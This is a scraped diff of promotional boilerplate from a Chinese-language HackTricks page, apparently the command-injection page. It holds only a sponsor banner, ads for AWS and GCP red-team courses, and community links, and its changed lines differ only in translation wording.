{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue